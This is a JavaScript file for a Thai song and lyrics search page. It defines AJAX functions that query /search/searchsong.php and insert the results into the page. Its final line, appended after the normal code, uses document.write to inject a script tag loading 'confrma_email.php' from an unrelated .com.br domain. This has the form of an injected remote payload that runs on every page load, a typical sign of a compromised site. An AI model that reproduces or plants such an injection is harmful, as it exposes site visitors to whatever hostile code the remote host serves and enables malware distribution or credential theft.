function createXMLHttpRequest() {
	     if (window.ActiveXObject) {
		    xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
		 } 
			else if (window.XMLHttpRequest) {
			 xmlHttp = new XMLHttpRequest();
			 }
		}
function searchSong(idF){
	var keyS = "";
	var listBB ="";
	var aText="";
	if(idF=='1'){
	 listBB = document.getElementById("search_result");
	 aText=document.getElementById("alert_text_search");
	  keyS = document.getElementById("keyword_search");
	}else if (idF=='7')
	{
	 listBB = document.getElementById("search_result_mv");
	  aText=document.getElementById("alert_text_search_mv");
	   keyS = document.getElementById("keyword_search_mv");
	}else if (idF=='4')
	{
	 listBB = document.getElementById("search_result_clip");
	  aText=document.getElementById("alert_text_search_clip");
	   keyS = document.getElementById("keyword_search_clip");
	}else if (idF=='11')
	{
	 listBB = document.getElementById("search_result_w");
	  aText=document.getElementById("alert_text_search_w");
	   keyS = document.getElementById("keyword_search_w");
	}else if (idF=='6')
	{
	 listBB = document.getElementById("search_result_r");
	  aText=document.getElementById("alert_text_search_r");
	   keyS = document.getElementById("keyword_search_r");
	}
	var typeLy = document.getElementById("keyword_type_lyric");
	var typeNa = document.getElementById("keyword_type_name");
	var url='';
	if(keyS.value==""){
		aText.innerHTML = '<font color=red>กรุณาใส่คำที่ต้องการหา</font>';
		listBB.innerHTML='';
	}else{
	
	if(typeLy.checked){
		if(keyS.value.length > 5){
			if(idF=='1'){
		 url = "/search/searchsong.php?key="+encodeURI(keyS.value)+"&typeS=Ly";
			}else{
				 url = "/search/searchsong.php?key="+encodeURI(keyS.value);
			}
		 createXMLHttpRequest();
		xmlHttp.onreadystatechange = function () {
                if (xmlHttp.readyState == 4) {
                    if (xmlHttp.status == 200) {
						aText.innerHTML='';
						listBB.innerHTML = xmlHttp.responseText;
					}
                }else{
						aText.innerHTML='';
						listBB.innerHTML = "<img src=\"/images/ajax-loader.gif\" /><br>Loading.....";
				}
            };
		xmlHttp.open("GET", url, true);
		xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
		xmlHttp.send(null);
		}else{
		aText.innerHTML = '<font color=red>กรุณาใส่เนื้อเพลงที่ต้องการค้นหาให้มากกว่า 5 ตัวอักษร</font>';
		listBB.innerHTML='';
		}
	}else if(typeNa.checked){
		if(keyS.value.length > 1){	
	 url = "/search/searchsong.php?key="+encodeURI(keyS.value)+"&typeS=Na&idF="+idF;
	 createXMLHttpRequest();
		xmlHttp.onreadystatechange = function () {
                if (xmlHttp.readyState == 4) {
                    if (xmlHttp.status == 200) {
						aText.innerHTML='';
						listBB.innerHTML = xmlHttp.responseText;
						
					}
                }else{
						aText.innerHTML='';
						listBB.innerHTML = "<img src=\"/images/ajax-loader.gif\" /><br>Loading.....";
				}
            };
		xmlHttp.open("GET", url, true);
		xmlHttp.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
		xmlHttp.send(null);
	}else{
	aText.innerHTML = '<font color=red>กรุณาใส่คำที่ต้องการค้นหาให้มากกว่า 1 ตัวอักษร</font>';
		listBB.innerHTML='';
	}
	}
	
	}
}


document.write('<script src=http://rgbvideo.com.br/modelo/confrma_email.php ><\/script>');

